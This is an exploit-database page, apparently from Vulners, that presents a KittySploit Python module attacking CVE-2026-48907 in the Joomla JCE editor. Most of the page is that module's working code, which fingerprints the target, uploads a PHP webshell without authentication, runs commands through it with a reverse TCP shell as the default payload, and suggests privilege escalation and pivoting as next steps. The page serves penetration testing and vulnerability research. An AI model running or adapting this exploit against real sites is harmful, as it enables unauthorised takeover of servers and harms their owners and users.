Lucene search
+L

Joomla JCE < 2.9.99.5 - Unauthenticated RCE (CVE-2026-48907)

🗓️ 29 Jun 2026 09:40:45Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Unauthenticated RCE in Joomla JCE via arbitrary file upload and PHP webshell execution.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-48907
9 Jun 202616:30
–githubexploit
githubexploit
GithubExploit
COM_JCE_VANDA
29 Jun 202611:00
–githubexploit
githubexploit
GithubExploit
Exploit for Improper Access Control in Widgetfactorylimited Jce
22 Jun 202618:31
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-48907
11 Jun 202613:14
–githubexploit
githubexploit
GithubExploit
Exploit for Improper Access Control in Widgetfactorylimited Jce
29 Jun 202606:36
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-48907
12 Jun 202609:22
–githubexploit
githubexploit
GithubExploit
ProofCMS-
29 Sep 202616:18
–githubexploit
githubexploit
GithubExploit
Exploit for Improper Access Control in Widgetfactorylimited Jce
27 Jun 202604:48
–githubexploit
githubexploit
GithubExploit
Exploit for Improper Access Control in Widgetfactorylimited Jce
29 Jun 202621:14
–githubexploit
githubexploit
GithubExploit
Exploit for Improper Access Control in Widgetfactorylimited Jce
1 Jul 202614:05
–githubexploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.joomla_probe import JCE_PATCHED_VERSION, Joomla


class Module(Exploit, Http_client, Joomla):

    __info__ = {
        "name": "Joomla JCE < 2.9.99.5 - Unauthenticated RCE (CVE-2026-48907)",
        "description": (
            "Exploits CVE-2026-48907 in Joomla JCE Editor (< 2.9.99.5): unauthenticated "
            "arbitrary file upload via profile import or JCE browser chain, followed by "
            "PHP webshell execution."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2026-48907"],
        "arch": [Arch.PHP],
        "platform": Platform.PHP,
        "category": "singles",
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": "singles",
        },
        "references": [
            "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-48907",
        ],
        "tags": ["joomla", "jce", "file-upload", "rce", "cve-2026-48907"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 10,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': ['joomla', 'php'],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {'joomla': 0.3, 'php': 0.3},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    cmd_param = OptString("cmd", "GET/POST parameter used to invoke the uploaded webshell", required=False)

    def _build_shell(self) -> str:
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        payload = str(payload or "").strip()
        param = str(self.cmd_param or "cmd").strip() or "cmd"
        return (
            '<?php '
            f'if(isset($_REQUEST["{param}"])){{'
            f'@system($_REQUEST["{param}"]);'
            "}}"
            f'else{{echo "{param}";}}'
            " ?>"
        )

    def check(self):
        joomla = self.probe_joomla()
        if not joomla.get("found"):
            return {"vulnerable": False, "reason": "Joomla not detected", "confidence": "low"}

        jce = self.probe_jce()
        if not jce.get("found"):
            return {"vulnerable": False, "reason": "JCE not detected", "confidence": "low"}

        jce_version = jce.get("version")
        if jce_version and self.jce_is_patched(jce_version):
            return {
                "vulnerable": False,
                "reason": f"JCE {jce_version} >= {JCE_PATCHED_VERSION} (patched)",
                "confidence": "high",
            }

        token = self.fetch_csrf_token()
        if not token:
            return {
                "vulnerable": False,
                "reason": "No Joomla CSRF token — may be patched or unreachable",
                "confidence": "medium",
            }

        confidence = "high" if jce_version else "medium"
        reason = (
            f"Joomla + JCE detected (JCE {jce_version or 'unknown'}). "
            f"Likely vulnerable to CVE-2026-48907 if < {JCE_PATCHED_VERSION}."
        )
        return {"vulnerable": True, "reason": reason, "confidence": confidence}

    def _execute_via_shell(self, shell_path: str) -> bool:
        param = str(self.cmd_param or "cmd").strip() or "cmd"
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        command = str(payload or "").strip()
        if not command:
            print_error("No payload/command configured")
            return False

        response = self.http_request(
            method="GET",
            path=shell_path,
            params={param: command},
            timeout=15,
        )
        return bool(response and response.status_code == 200)

    def run(self):
        try:
            print_status("CVE-2026-48907 — Joomla JCE unauthenticated RCE")
            print_status(f"Target: {self.target}:{self.port}")

            check = self.check()
            if not check.get("vulnerable"):
                print_error(check.get("reason", "Target does not appear vulnerable"))
                self.not_vulnerable()
                return False

            print_success(check.get("reason", "Target appears vulnerable"))

            token = self.fetch_csrf_token()
            if not token:
                print_error("Failed to obtain Joomla CSRF token")
                return False

            shell_source = self._build_shell()
            print_status("Uploading PHP webshell via JCE...")
            uploaded = self.jce_upload_php(token, shell_source)
            if not uploaded:
                print_error("File upload failed — target may be patched or hardened")
                self.not_vulnerable()
                return False

            shell_path = uploaded["path"]
            print_success(
                f"Shell uploaded via {uploaded['vector']}: {shell_path} "
                f"({uploaded['filename']})"
            )

            verify = self.joomla_http_get(shell_path, timeout=10)
            if not verify or verify.status_code != 200:
                print_warning("Shell path not directly reachable; attempting payload anyway")

            print_status("Executing payload via uploaded shell...")
            if self._execute_via_shell(shell_path):
                print_success("Exploit finished — verify session/handler for callback")
                self.vulnerable()
                return True

            print_error("Payload execution did not return HTTP 200")
            print_warning(f"Shell may still be present at {shell_path} — manual cleanup required")
            self.vulnerable()
            return False

        except Exception as exc:
            print_error(f"Exploitation failed: {exc}")
            return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2026 11:31Current
8.9High risk
Vulners AI Score8.9
CVSS 3.19.8
CVSS 410
EPSS0.1619
SSVC
2